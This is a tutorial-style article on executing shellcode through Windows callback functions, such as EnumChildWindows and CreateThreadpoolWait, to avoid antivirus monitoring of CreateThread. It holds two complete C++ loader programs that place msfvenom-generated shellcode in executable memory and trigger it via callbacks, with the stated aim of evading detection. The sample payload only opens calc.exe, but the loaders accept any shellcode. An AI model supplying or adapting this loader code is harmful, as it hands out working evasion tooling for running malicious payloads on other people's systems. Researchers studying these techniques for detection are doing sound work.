Callback Shellcode Execution

Executing shellcode on a system is normally done by allocating memory with VirtualAlloc, and then using CreateThread() to pass execution to that memory region. Since CreateThread is often heavily monitored by Anti-Virus solutions, it’s worth exploring alternative methods of executing our shellcode.


Callback Functions

Callback functions accept a pointer to user defined code. We can call these functions with a pointer to our shellcode to trigger its execution.

For example, EnumChildWindows accepts the following parameters;

BOOL EnumChildWindows(
  [in, optional] HWND        hWndParent,   // A handle to the parent window whose child windows are to be enumerated.
  [in]           WNDENUMPROC lpEnumFunc,   // A pointer to an application-defined callback function.
  [in]           LPARAM      lParam        // A application-defined value to be passed to the callback function.
);

Calling the function with the lpEnumFunc defined will trigger our shellcode.

EnumChildWindows(NULL, (WNDENUMPROC)shellcode, NULL);

The below application randomly picks a callback function to execute our code. Although this implements 8 different callback functions, there are many others available.

#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include <random>


int main()
{
    //msfvenom -p windows/x64/exec CMD="calc.exe" EXITFUNC=thread -f c
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
        "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
        "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
        "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
        "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
        "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
        "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
        "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
        "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
        "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
        "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
        "\x6f\x87\xff\xd5\xbb\xfe\x0e\x32\xea\x41\xba\xa6\x95\xbd"
        "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
        "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
        "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";


    HANDLE buffer = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(buffer, shellcode, sizeof(shellcode));


    std::random_device rd;
    std::mt19937 gen(rd());
    std::uniform_int_distribution<int> distribution(1, 8);

    int random_number = distribution(gen);

    int technique = random_number;

        switch (technique)
        {
        case 1:
            std::cout << "1 EnumChildWindows\n";
            EnumChildWindows(NULL, (WNDENUMPROC)buffer, NULL);
            break;
        case 2:
            std::cout << "2 EnumSystemGeoID\n";
            EnumSystemGeoID(GEOCLASS_NATION, 0, (GEO_ENUMPROC)buffer);
            break;
        case 3:
            std::cout << "3 EnumSystemLanguageGroupsA\n";
            EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)buffer, LGRPID_SUPPORTED, 0);
            break;
        case 4:
            std::cout << "4 EnumFonts\n";
            EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char*)buffer, 0);
            break;
        case 5:
            std::cout << "5 EnumDisplayMonitors\n";
            EnumDisplayMonitors((HDC)0, (LPCRECT)0, (MONITORENUMPROC)(char*)buffer, (LPARAM)0);
            break;
        case 6:
            std::cout << "6 EnumSystemLocalesA\n";
            EnumSystemLocalesA((LOCALE_ENUMPROCA)buffer, NULL);
            break;
        case 7:
            std::cout << "7 EnumDateFormatsA\n";
            EnumDateFormatsA((DATEFMT_ENUMPROCA)buffer, LOCALE_SYSTEM_DEFAULT, (DWORD)0);
            break;
        case 8:
            std::cout << "8 EnumDesktopsW\n";
            EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)buffer, NULL);
            break;
        }

}

CreateThreadpoolWait Execution

This technique has been used in some recent malware campaigns.

A thread pool is a collection of threads that are created to perform tasks concurrently. The CreateThreadpoolWait function is used to create a wait object within a thread pool, and happens to support a callback;

PTP_WAIT CreateThreadpoolWait(
  [in]                PTP_WAIT_CALLBACK    pfnwa, // The callback function to call when the wait completes or times out.
  [in, out, optional] PVOID                pv,    // Optional application-defined data to pass to the callback function.
  [in, optional]      PTP_CALLBACK_ENVIRON pcbe   // If this parameter is NULL, the callback executes in the default environment. 
);

To execute shellcode using this method, we need to carry out the following steps:

Create an Event
HANDLE event = CreateEvent(NULL, FALSE, FALSE, NULL);
  • NULL is passed as lpEventAttributes, which means default security attributes are used.
  • FALSE is passed as bManualReset, indicating that the event is auto-reset.
  • FALSE is passed as bInitialState, meaning the event is not initially signaled.
  • NULL is passed as lpName, indicating that the event is created without a name.
Create a ThreadPoolWait Object

Set CreateThreadpoolWait to point to our shellcode (stored in “buffer”).

PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)buffer, NULL, NULL);
Monitor the Event Object

Use SetThreadpoolWait to monitor the event object. If no signal is issued, the ThreadPoolWait object will be executed after the &ft timer has expired.

SetThreadpoolWait(threadPoolWait, event, &ft);

This leaves us with the following code.

#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include <random>

unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xfe\x0e\x32\xea\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";


int main()
{
	// Allocate memory as usual
	HANDLE buffer = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(buffer, shellcode, sizeof(shellcode));

   // Define our timeout value
	FILETIME ft;
	ULARGE_INTEGER uli;
	GetSystemTimeAsFileTime(&ft);
	uli.LowPart = ft.dwLowDateTime;
	uli.HighPart = ft.dwHighDateTime;
	uli.QuadPart += 5 * 10000000; // 5 seconds
	ft.dwLowDateTime = uli.LowPart;
	ft.dwHighDateTime = uli.HighPart;

	HANDLE event = CreateEvent(NULL, FALSE, FALSE, NULL);

	// Use below for immediate signalling
	//HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);

	PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)buffer, NULL, NULL);
	SetThreadpoolWait(threadPoolWait, event, &ft);

	WaitForSingleObject(event, INFINITE);

	return 0;
}

In Conclusion

Callback functions can assist in evading detection, particularly when using more obscure function calls. Many more callback functions can be identified by searching Microsoft’s developer documentation.